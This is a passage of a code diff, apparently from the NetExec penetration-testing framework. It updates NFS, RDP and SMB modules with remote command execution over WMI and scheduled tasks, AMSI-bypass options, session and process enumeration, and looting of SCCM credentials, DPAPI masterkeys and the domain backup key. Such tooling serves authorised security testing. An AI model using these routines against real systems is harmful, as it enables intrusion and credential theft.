nextentry = raw_directory["resok"]["reply"]["entries"][0]
while nextentry:
entry = nextentry
nextentry = entry["nextentry"][0] if entry["nextentry"] else None
entry.pop("nextentry")
items.append(entry)
# Sort by name to be linux-like
return sorted(items, key=lambda x: x["name"].decode())
def update_auth(self, file_handle):
"""Update the UID and GID for the file handle"""
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}")
self.auth["uid"] = attrs["attributes"]["uid"]
self.auth["gid"] = attrs["attributes"]["gid"]
def convert_size(size_bytes):
if size_bytes == 0:
+2
View File
@@ -4,8 +4,10 @@ def proto_args(parser, parents):
nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)")
dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS")
dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file")
dgroup.add_argument("--shares", action="store_true", help="List NFS shares")
dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)")
dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /")
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
+24 -20
View File
@@ -22,6 +22,8 @@ from asyauth.common.credentials.kerberos import KerberosCredential
from asyauth.common.constants import asyauthSecret
from asysocks.unicomm.common.target import UniTarget, UniProto
from nxc.paths import NXC_PATH
class rdp(connection):
def __init__(self, args, db, host):
@@ -81,11 +83,6 @@ class rdp(connection):
connection.__init__(self, args, db, host)
# def proto_flow(self):
# if self.create_conn_obj():
# if self.login() or (self.username == '' and self.password == ''):
# if hasattr(self.args, 'module') and self.args.module:
def proto_logger(self):
import platform
if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]:
@@ -112,7 +109,6 @@ class rdp(connection):
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
else:
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
return True
def create_conn_obj(self):
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
@@ -172,6 +168,7 @@ class rdp(connection):
return True
def check_nla(self):
self.logger.debug(f"Checking NLA for {self.host}")
for proto in self.protoflags_nla:
try:
self.iosettings.supported_protocols = proto
@@ -272,7 +269,7 @@ class rdp(connection):
if word in str(e):
reason = self.rdp_error_status[word]
self.logger.fail(
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else str(e)}"),
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
)
elif "Authentication failed!" in str(e):
@@ -287,7 +284,7 @@ class rdp(connection):
if str(e) == "cannot unpack non-iterable NoneType object":
reason = "User valid but cannot connect"
self.logger.fail(
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {f'({reason})' if reason else ''}"),
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
)
return False
@@ -321,7 +318,7 @@ class rdp(connection):
if str(e) == "cannot unpack non-iterable NoneType object":
reason = "User valid but cannot connect"
self.logger.fail(
(f"{domain}\\{username}:{process_secret(password)} {f'({reason})' if reason else ''}"),
(f"{domain}\\{username}:{process_secret(password)} ({reason if reason else str(e)})"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
)
return False
@@ -356,7 +353,7 @@ class rdp(connection):
reason = "User valid but cannot connect"
self.logger.fail(
(f"{domain}\\{username}:{process_secret(ntlm_hash)} {f'({reason})' if reason else ''}"),
(f"{domain}\\{username}:{process_secret(ntlm_hash)} ({reason if reason else str(e)})"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"),
)
return False
@@ -379,18 +376,25 @@ class rdp(connection):
asyncio.run(self.screen())
async def nla_screen(self):
# Otherwise it crash
self.iosettings.supported_protocols = None
self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
for proto in self.protoflags_nla:
try:
self.iosettings.supported_protocols = proto
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
return
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
return
def nla_screenshot(self):
if not self.nla:
+438 -253
View File
@@ -28,12 +28,14 @@ from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE
from impacket.dcerpc.v5 import tsts as TSTS
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string, validate_ntlm
from nxc.logger import NXCAdapter
from nxc.protocols.smb.firefox import FirefoxTriage
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U
from nxc.servers.smb import NXCSMBServer
from nxc.protocols.smb.wmiexec import WMIEXEC
@@ -50,17 +52,14 @@ from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.powershell import create_ps_command
from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.sccm import SCCMTriage
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup
from time import time
from time import time, ctime
from datetime import datetime
from functools import wraps
from traceback import format_exc
@@ -158,7 +157,9 @@ class smb(connection):
self.remote_ops = None
self.bootkey = None
self.output_filename = None
self.smbv1 = None
self.smbv1 = None # Check if SMBv1 is supported
self.smbv3 = None # Check if SMBv3 is supported
self.is_timeouted = False
self.signing = False
self.smb_share_name = smb_share_name
self.pvkbytes = None
@@ -241,7 +242,7 @@ class smb(connection):
self.hostname = self.host
self.targetDomain = self.host
self.domain = self.targetDomain if not self.args.domain else self.args.domain
self.domain = self.targetDomain if self.args.domain is None else self.args.domain
if self.args.local_auth:
self.domain = self.hostname
@@ -258,6 +259,10 @@ class smb(connection):
except KeyError:
self.logger.debug("Error getting server information...")
# Handle cases where server_os is returned as bytes, such as when accidentally scanning a machine running Responder
if isinstance(self.server_os.lower(), bytes):
self.server_os = self.server_os.decode("utf-8")
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix - Samba"
elif self.server_os_build == 0 and self.os_arch == 0:
@@ -266,9 +271,6 @@ class smb(connection):
self.logger.extra["hostname"] = self.hostname
if isinstance(self.server_os.lower(), bytes):
self.server_os = self.server_os.decode("utf-8")
try:
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
except Exception as e:
@@ -295,10 +297,15 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error logging off system: {e}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
# Check smbv1
if not self.args.no_smbv1:
self.smbv1 = self.create_smbv1_conn(check=True)
if not self.kdcHost and self.domain:
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}"
# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
@@ -311,7 +318,44 @@ class smb(connection):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
return True
if self.args.generate_hosts_file or self.args.generate_krb5_file:
from impacket.dcerpc.v5 import nrpc, epm
self.logger.debug("Performing authentication attempts...")
isdc = False
try:
epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
isdc = True
except DCERPCException:
self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!")
if self.args.generate_hosts_file:
with open(self.args.generate_hosts_file, "a+") as host_file:
host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n")
self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}")
elif self.args.generate_krb5_file and isdc:
with open(self.args.generate_krb5_file, "w+") as host_file:
data = f"""
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = { self.domain.upper() }
[realms]
{ self.domain.upper() } = {{
kdc = { self.hostname.lower() }.{ self.domain }
admin_server = { self.hostname.lower() }.{ self.domain }
default_domain = { self.domain }
}}
[domain_realm]
.{ self.domain } = { self.domain.upper() }
{ self.domain } = { self.domain.upper() }
"""
host_file.write(data)
self.logger.debug(data)
return self.host, self.hostname, self.targetDomain
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.logger.debug(f"KDC set to: {kdcHost}")
@@ -522,10 +566,10 @@ class smb(connection):
self.create_conn_obj()
return False
def create_smbv1_conn(self):
self.logger.debug(f"Creating SMBv1 connection to {self.host}")
def create_smbv1_conn(self, check=False):
self.logger.info(f"Creating SMBv1 connection to {self.host}")
try:
self.conn = SMBConnection(
conn = SMBConnection(
self.remoteName,
self.host,
None,
@@ -534,9 +578,19 @@ class smb(connection):
timeout=self.args.smb_timeout,
)
self.smbv1 = True
if not check:
self.conn = conn
except OSError as e:
if str(e).find("Connection reset by peer") != -1:
if "Connection reset by peer" in str(e):
self.logger.info(f"SMBv1 might be disabled on {self.host}")
elif "timed out" in str(e):
self.is_timeouted = True
self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}")
else:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
return False
except NetBIOSError:
self.logger.info(f"SMBv1 disabled on {self.host}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
@@ -544,7 +598,7 @@ class smb(connection):
return True
def create_smbv3_conn(self):
self.logger.debug(f"Creating SMBv3 connection to {self.host}")
self.logger.info(f"Creating SMBv3 connection to {self.host}")
try:
self.conn = SMBConnection(
self.remoteName,
@@ -553,39 +607,35 @@ class smb(connection):
self.port,
timeout=self.args.smb_timeout,
)
self.smbv1 = False
except OSError as e:
# This should not happen anymore!!!
if str(e).find("Too many open files") != -1:
if not self.logger:
print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
self.proto_logger()
self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
self.smbv3 = True
except (Exception, NetBIOSTimeout, OSError) as e:
if "timed out" in str(e):
self.is_timeouted = True
self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}")
else:
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
return False
return True
def create_conn_obj(self, no_smbv1=False):
def create_conn_obj(self):
"""
Tries to create a connection object to the target host.
On first try, it will try to create a SMBv1 connection.
On first try, it will try to create a SMBv3 connection.
On further tries, it will remember which SMB version is supported and create a connection object accordingly.
:param no_smbv1: If True, it will not try to create a SMBv1 connection
"""
# Initial negotiation
if not no_smbv1 and self.smbv1 is None:
self.smbv1 = self.create_smbv1_conn()
if self.smbv1:
if self.smbv3 is None:
self.smbv3 = self.create_smbv3_conn()
if self.smbv3:
return True
else:
return self.create_smbv3_conn()
elif not no_smbv1 and self.smbv1:
return self.create_smbv1_conn()
else:
elif not self.is_timeouted:
return self.create_smbv1_conn()
elif self.smbv3:
return self.create_smbv3_conn()
else:
return self.create_smbv1_conn()
def check_if_admin(self):
self.logger.debug(f"Checking if user is admin on {self.host}")
@@ -618,8 +668,21 @@ class smb(connection):
relay_list.write(self.host + "\n")
@requires_admin
def execute(self, payload=None, get_output=False, methods=None):
if self.args.exec_method:
def execute(self, payload=None, get_output=False, methods=None) -> str:
"""
Executes a command on the target host using CMD.exe and the specified method(s).
Args:
----
payload (str): The command to execute
get_output (bool): Whether to get the output of the command (can be useful for AV evasion)
methods (list): The method(s) to use for command execution
Returns:
-------
str: The output of the command
"""
if getattr(self.args, "exec_method_explicitly_set", False):
methods = [self.args.exec_method]
if not methods:
methods = ["wmiexec", "atexec", "smbexec", "mmcexec"]
@@ -752,7 +815,7 @@ class smb(connection):
if "This script contains malicious content" in output:
self.logger.fail("Command execution blocked by AMSI")
return None
return ""
if (self.args.execute or self.args.ps_execute):
self.logger.success(f"Executed command via {current_method}")
@@ -763,14 +826,29 @@ class smb(connection):
return output
else:
self.logger.fail(f"Execute command failed with {current_method}")
return False
return ""
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False) -> list:
"""
Wrapper for executing a PowerShell command on the target host. This still uses the execute() method internally, but
creates a PowerShell command together with possible AMSI bypasses and other options.
Args:
----
payload (str): The PowerShell command to execute OR the path to a file containing PowerShell commands
get_output (bool): Whether to get the output of the command (can be useful for AV evasion)
methods (list): The method(s) to use for command execution
force_ps32 (bool): Whether to force 32-bit PowerShell
Returns:
-------
list: A list containing the lines of the output of the command
"""
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
return []
response = []
obfs = obfs if obfs else self.args.obfs
@@ -792,16 +870,173 @@ class smb(connection):
self.logger.debug(f"ps_execute response: {response}")
return response
def get_session_list(self):
with TSTS.TermSrvEnumeration(self.conn, self.host, self.kerberos) as lsm:
handle = lsm.hRpcOpenEnum()
rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"]
lsm.hRpcCloseEnum(handle)
sessions = {}
for i in rsessions:
sess = i["SessionInfo"]["SessionEnum_Level1"]
state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1]
sessions[sess["SessionId"]] = {
"state": state,
"SessionName": sess["Name"],
"RemoteIp": "",
"ClientName": "",
"Username": "",
"Domain": "",
"Resolution": "",
"ClientTimeZone": ""
}
return sessions
def enumerate_sessions_info(self, sessions):
if len(sessions):
with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession:
for SessionId in sessions:
sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId)
sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"])
sessions[SessionId]["flags"] = sessflags
domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"]
if not len(sessions[SessionId]["Domain"]) and len(domain):
sessions[SessionId]["Domain"] = domain
username = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["UserName"]
if not len(sessions[SessionId]["Username"]) and len(username):
sessions[SessionId]["Username"] = username
sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"]
sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"]
sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"]
sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"]
with TSTS.RCMPublic(self.conn, self.host, self.kerberos) as rcm:
for SessionId in sessions:
try:
client = rcm.hRpcGetRemoteAddress(SessionId)
if not client:
continue
sessions[SessionId]["RemoteIp"] = client["pRemoteAddress"]["ipv4"]["in_addr"]
except Exception as e:
self.logger.debug(f"Error getting client address for session {SessionId}: {e}")
@requires_admin
def qwinsta(self):
desktop_states = {
"WTS_SESSIONSTATE_UNKNOWN": "",
"WTS_SESSIONSTATE_LOCK": "Locked",
"WTS_SESSIONSTATE_UNLOCK": "Unlocked",
}
sessions = self.get_session_list()
if not len(sessions):
return
self.enumerate_sessions_info(sessions)
maxSessionNameLen = max([len(sessions[i]["SessionName"]) + 1 for i in sessions])
maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME") + 1
maxUsernameLen = max([len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions]) + 1
maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username") + 1
maxIdLen = max([len(str(i)) for i in sessions])
maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID") + 1
maxStateLen = max([len(sessions[i]["state"]) + 1 for i in sessions])
maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE") + 1
maxRemoteIp = max([len(sessions[i]["RemoteIp"]) + 1 for i in sessions])
maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1
maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions])
maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1
template = ("{SESSIONNAME: <%d} "
"{USERNAME: <%d} "
"{ID: <%d} "
"{IPv4: <16} "
"{STATE: <%d} "
"{DSTATE: <9} "
"{CONNTIME: <20} "
"{DISCTIME: <20} ") % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen)
result = []
header = template.format(
SESSIONNAME="SESSIONNAME",
USERNAME="USERNAME",
ID="ID",
IPv4="IPv4 Address",
STATE="STATE",
DSTATE="Desktop",
CONNTIME="ConnectTime",
DISCTIME="DisconnectTime",
)
header2 = template.replace(" <", "=<").format(
SESSIONNAME="",
USERNAME="",
ID="",
IPv4="",
STATE="",
DSTATE="",
CONNTIME="",
DISCTIME="",
)
result.extend((header, header2))
for i in sessions:
connectTime = sessions[i]["ConnectTime"]
connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None"
disconnectTime = sessions[i]["DisconnectTime"]
disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None"
userName = sessions[i]["Domain"] + "\\" + sessions[i]["Username"] if len(sessions[i]["Username"]) else ""
result.append(template.format(
SESSIONNAME=sessions[i]["SessionName"],
USERNAME=userName,
ID=i,
IPv4=sessions[i]["RemoteIp"],
STATE=sessions[i]["state"],
DSTATE=desktop_states[sessions[i]["flags"]],
CONNTIME=connectTime,
DISCTIME=disconnectTime,
))
self.logger.success("Enumerated qwinsta sessions")
for row in result:
self.logger.highlight(row)
@requires_admin
def tasklist(self):
with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy:
try:
handle = legacy.hRpcWinStationOpenServer()
res = legacy.hRpcWinStationGetAllProcesses(handle)
except Exception as e:
# TODO: Issue https://github.com/fortra/impacket/issues/1816
self.logger.debug(f"Exception while calling hRpcWinStationGetAllProcesses: {e}")
return
if not res:
return
self.logger.success("Enumerated processes")
maxImageNameLen = max([len(i["ImageName"]) for i in res])
maxSidLen = max([len(i["pSid"]) for i in res])
template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen)
self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage"))
self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", ""))
for procInfo in res:
row = template.format(
procInfo["ImageName"],
procInfo["UniqueProcessId"],
procInfo["SessionId"],
procInfo["pSid"],
"{:,} K".format(procInfo["WorkingSetSize"] // 1000),
)
self.logger.highlight(row)
def shares(self):
temp_dir = ntpath.normpath("\\" + gen_random_string())
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
permissions = []
write_check = bool(not self.args.no_write_check)
try:
self.logger.debug(f"domain: {self.domain}")
user_id = self.db.get_user(self.domain.upper(), self.username)[0][0]
except IndexError as e:
if self.kerberos:
if self.kerberos or self.username == "":
pass
else:
self.logger.fail(f"IndexError: {e!s}")
@@ -842,8 +1077,14 @@ class smb(connection):
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"Error checking READ access on share {share_name}: {error}")
except (NetBIOSError, UnicodeEncodeError) as e:
write_check = False
share_info["access"].append("UNKNOWN (try '--no-smbv1')")
error = get_error_string(e)
self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1")
self.logger.info(f"Skipping WRITE permission check on share {share_name}")
if not self.args.no_write_check:
if write_check:
try:
self.conn.createDirectory(share_name, temp_dir)
write_dir = True
@@ -903,6 +1144,27 @@ class smb(connection):
self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}")
return permissions
def dir(self): # noqa: A003
search_path = ntpath.join(self.args.dir, "*")
try:
contents = self.conn.listPath(self.args.share, search_path)
except SessionError as e:
error = get_error_string(e)
self.logger.fail(
f"Error enumerating '{search_path}': {error}",
color="magenta" if error in smb_error_status else "red",
)
return
if not contents:
return
self.logger.highlight(f"{'Perms':<9}{'File Size':<15}{'Date':<30}{'File Path':<45}")
self.logger.highlight(f"{'-----':<9}{'---------':<15}{'----':<30}{'---------':<45}")
for content in contents:
full_path = ntpath.join(self.args.dir, content.get_longname())
self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}")
@requires_admin
def interfaces(self):
"""
@@ -978,7 +1240,7 @@ class smb(connection):
dc_ips.append(self.host)
return dc_ips
def sessions(self):
def smb_sessions(self):
try:
sessions = get_netsession(
self.host,
@@ -993,8 +1255,8 @@ class smb(connection):
if session.sesi10_cname.find(self.local_ip) == -1:
self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}")
return sessions
except Exception:
pass
except Exception as e:
self.logger.debug(e)
def disks(self):
disks = []
@@ -1519,13 +1781,6 @@ class smb(connection):
@requires_admin
def sccm(self):
masterkeys = []
if self.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.args.mkfile)
except Exception as e:
self.logger.fail(str(e))
target = Target.create(
domain=self.domain,
username=self.username,
@@ -1539,39 +1794,56 @@ class smb(connection):
use_kcache=self.use_kcache,
)
try:
conn = DPLootSMBConnection(target)
conn.smb_session = self.conn
except Exception as e:
self.logger.debug(f"Could not upgrade connection: {e}")
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
if conn is None:
self.logger.debug("Could not upgrade connection")
return
try:
self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
dpapiSystem={},
)
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
self.logger.debug(f"Could not get masterkeys: {e}")
masterkeys = collect_masterkeys_from_target(self, target, conn, user=False)
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
# Collect Chrome Based Browser stored secrets
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi")
sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm()
for sccmcred in sccmcreds:
self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}")
for sccmtask in sccmtasks:
self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}")
for sccmcollection in sccmcollections:
self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}")
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", )
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@@ -1586,57 +1858,14 @@ class smb(connection):
except Exception as e:
self.logger.fail(str(e))
masterkeys = []
if self.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.args.mkfile)
except Exception as e:
self.logger.fail(str(e))
if self.pvkbytes is None and self.no_da is None and self.args.local_auth is False:
try:
results = self.db.get_domain_backupkey(self.domain)
except Exception:
self.logger.fail(
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
'workspace create dpapi' then re-run the dpapi option"
)
return False
if len(results) > 0:
self.logger.success("Loading domain backupkey from nxcdb...")
self.pvkbytes = results[0][2]
else:
try:
dc_target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.domain, # querying DNS server for domain will return DC
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
self.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
self.db.add_domain_backupkey(self.domain, self.pvkbytes)
else:
self.no_da = False
except Exception as e:
self.logger.fail(f"Could not get domain backupkey: {e}")
if self.pvkbytes is None:
self.pvkbytes = get_domain_backup_key(self)
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.hostname + "." + self.domain if self.kerberos else self.host,
target=f"{self.hostname}.{self.domain}" if self.kerberos else self.host,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
@@ -1645,161 +1874,117 @@ class smb(connection):
use_kcache=self.use_kcache,
)
try:
conn = DPLootSMBConnection(target)
conn.smb_session = self.conn
except Exception as e:
self.logger.debug(f"Could not upgrade connection: {e}")
return None
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
if conn is None:
self.logger.debug("Could not upgrade connection")
return
plaintexts = {username: password for _, _, username, password, _, _ in self.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash")}
if self.password != "":
plaintexts[self.username] = self.password
if self.nthash != "":
